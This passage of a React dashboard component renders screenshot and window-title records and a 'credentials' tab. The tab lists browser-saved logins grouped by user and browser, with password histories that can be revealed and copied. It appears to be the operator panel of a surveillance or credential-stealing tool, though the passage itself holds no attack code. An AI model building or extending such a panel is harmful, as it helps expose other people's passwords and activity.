<div className="text-xs text-gray-500 dark:text-gray-400 mb-2">
{record.screenshots.length} {record.windows.length}
</div>
{/* 窗口预览 */}
{record.windows.length > 0 && (
<div className="text-xs text-gray-600 dark:text-gray-400 truncate">
: {record.windows[0].title}
</div>
)}
{/* 查看按钮 */}
<button
onClick={() => {
setActiveTab('screenshots');
setSelectedRecord(record);
}}
className="mt-3 w-full px-3 py-1.5 bg-blue-600 hover:bg-blue-700 text-white text-xs rounded focus:outline-none"
>
</button>
</div>
</div>
))}
</div>
)}
</div>
)}
{/* 凭据信息选项卡 */}
{activeTab === 'credentials' && (
<div className="bg-white dark:bg-gray-800 rounded-lg shadow-sm p-6">
<div className="flex items-center justify-between mb-6">
<h2 className="text-xl font-medium text-gray-900 dark:text-white"></h2>
<div className="flex space-x-2">
<button
onClick={fetchCredentials}
className="px-3 py-1.5 bg-blue-600 hover:bg-blue-700 text-white text-sm rounded focus:outline-none flex items-center"
>
<RefreshCcw className={`h-4 w-4 mr-1 ${loadingCredentials ? 'animate-spin' : ''}`} />
</button>
</div>
</div>
{/* 加载状态 */}
{loadingCredentials ? (
<div className="flex justify-center py-12">
<div className="animate-pulse flex flex-col items-center">
<Loader2 className="h-8 w-8 text-blue-600 animate-spin" />
<p className="mt-2 text-gray-500 dark:text-gray-400">...</p>
</div>
</div>
) : credentialsByUser.length === 0 ? (
<div className="py-12 flex flex-col items-center justify-center">
<ShieldAlert className="h-12 w-12 text-gray-400 mb-3" />
<p className="text-gray-500 dark:text-gray-400 mb-1"></p>
<p className="text-sm text-gray-400 dark:text-gray-500"></p>
</div>
) : (
<div className="space-y-6">
{credentialsByUser.map((userGroup, index) => (
<div key={index} className="border border-gray-200 dark:border-gray-700 rounded-md overflow-hidden">
{/* 用户信息头部 */}
<div className="bg-gray-50 dark:bg-gray-700 px-4 py-3">
<div className="flex items-center justify-between">
<div
className="flex items-center cursor-pointer"
onClick={() => toggleUserExpanded(userGroup.username)}
>
<User className="h-5 w-5 text-gray-500 dark:text-gray-400 mr-2" />
<h3 className="font-medium text-gray-900 dark:text-white">{userGroup.username}</h3>
<div className="ml-3 text-sm text-gray-500 dark:text-gray-400">
({userGroup.browsers.length} , {userGroup.total} )
</div>
<div className="ml-2 text-xs text-gray-400 dark:text-gray-500">
{userGroup.lastSyncTime ? `最后同步: ${formatDate(userGroup.lastSyncTime, 'short')}` : '未同步'}
</div>
</div>
</div>
</div>
{/* 用户凭据内容 */}
{expandedUsers.includes(userGroup.username) && (
<div className="divide-y divide-gray-100 dark:divide-gray-600">
{userGroup.browsers.map((browser) => (
<div
key={`${userGroup.username}-${browser.name}`}
className="px-4 py-3 hover:bg-gray-50 dark:hover:bg-gray-700"
>
{/* 浏览器标题 */}
<div
className="flex items-center mb-2 cursor-pointer"
onClick={() => toggleBrowserExpanded(`${userGroup.username}-${browser.name}`)}
>
<div className="flex items-center">
<Globe className="h-4 w-4 text-gray-500 dark:text-gray-400 mr-2" />
<span className="font-medium text-gray-800 dark:text-gray-200">{browser.name}</span>
<span className="ml-2 text-sm text-gray-500 dark:text-gray-400">
({browser.credentials.length} )
</span>
</div>
<ChevronDown
className={`h-4 w-4 text-gray-500 dark:text-gray-400 ml-2 transition-transform duration-200 ${expandedBrowsers.includes(`${userGroup.username}-${browser.name}`) ? 'rotate-180' : ''
}`}
/>
</div>
{/* 浏览器凭据列表 */}
{expandedBrowsers.includes(`${userGroup.username}-${browser.name}`) && (
<div className="pl-6 space-y-3 mt-2">
{browser.credentials.map((cred) => {
// 统一计算凭据唯一 ID兼容 _id / id若都不存在用组合键兜底
const credentialId = cred._id || cred.id || `${userGroup.username}-${browser.name}-${cred.url}-${cred.login}`;
const isExpanded = expandedCredentials.includes(credentialId);
return (
<div
key={credentialId}
className="border border-gray-200 dark:border-gray-600 rounded-md overflow-hidden"
>
{/* 凭据网站头部 */}
<div
className="bg-gray-50 dark:bg-gray-700 px-3 py-2 flex items-center justify-between cursor-pointer"
onClick={() => toggleCredentialExpanded(credentialId)}
>
<div className="flex items-center">
<Link className="h-4 w-4 text-gray-500 dark:text-gray-400 mr-2" />
<div className="text-sm font-medium text-gray-900 dark:text-white truncate max-w-md">
{cred.url}
</div>
</div>
<ChevronDown
className={`h-4 w-4 text-gray-500 dark:text-gray-400 transition-transform duration-200 ${isExpanded ? 'rotate-180' : ''}`}
/>
</div>
{/* 凭据详情 */}
{isExpanded && (
<div className="bg-white dark:bg-gray-800 px-3 py-2">
<div className="grid grid-cols-1 gap-2 sm:grid-cols-2">
<div className="flex items-center">
<span className="text-sm text-gray-500 dark:text-gray-400 w-16">:</span>
<span className="text-sm font-medium ml-2 text-gray-900 dark:text-white">{cred.login}</span>
</div>
<div className="flex flex-col">
<div className="flex items-center mb-1">
<span className="text-sm text-gray-500 dark:text-gray-400 w-16">:</span>
<span className="text-xs bg-gray-100 dark:bg-gray-600 text-gray-600 dark:text-gray-300 rounded px-1">
{cred.passwords.length}
</span>
</div>
<div className="pl-6 space-y-2 mt-1">
{cred.passwords.map((pwd, pwdIndex) => {
const pwdKey = `${credentialId}-${pwdIndex}`;
const revealed = revealedPasswords.includes(pwdKey);
return (
<div
key={pwdIndex}
className="flex items-center group relative"
>
<span className="text-xs text-gray-400 dark:text-gray-500 w-24 flex-shrink-0">
{formatDate(pwd.timestamp, 'short')}
</span>
<div className="flex-1 flex items-center">
<span
className="text-sm font-mono bg-gray-50 dark:bg-gray-700 text-gray-900 dark:text-white px-2 py-0.5 rounded flex-1 cursor-pointer"
onClick={() => revealed ? null : revealPassword(pwdKey)}
>
{revealed ? pwd.value : '••••••••'}
</span>
<button
onClick={() => copyToClipboard(pwd.value)}
className="ml-2 opacity-0 group-hover:opacity-100 text-gray-400 dark:text-gray-500 hover:text-gray-700 dark:hover:text-gray-300"
>
<Clipboard className="h-4 w-4" />
</button>
</div>
</div>
);
})}
</div>
</div>
</div>
</div>
)}
</div>
);
})}
</div>
)}
</div>
))}
</div>
)}
</div>
))}
</div>
)}
</div>
)}
</div>
</div>
);
}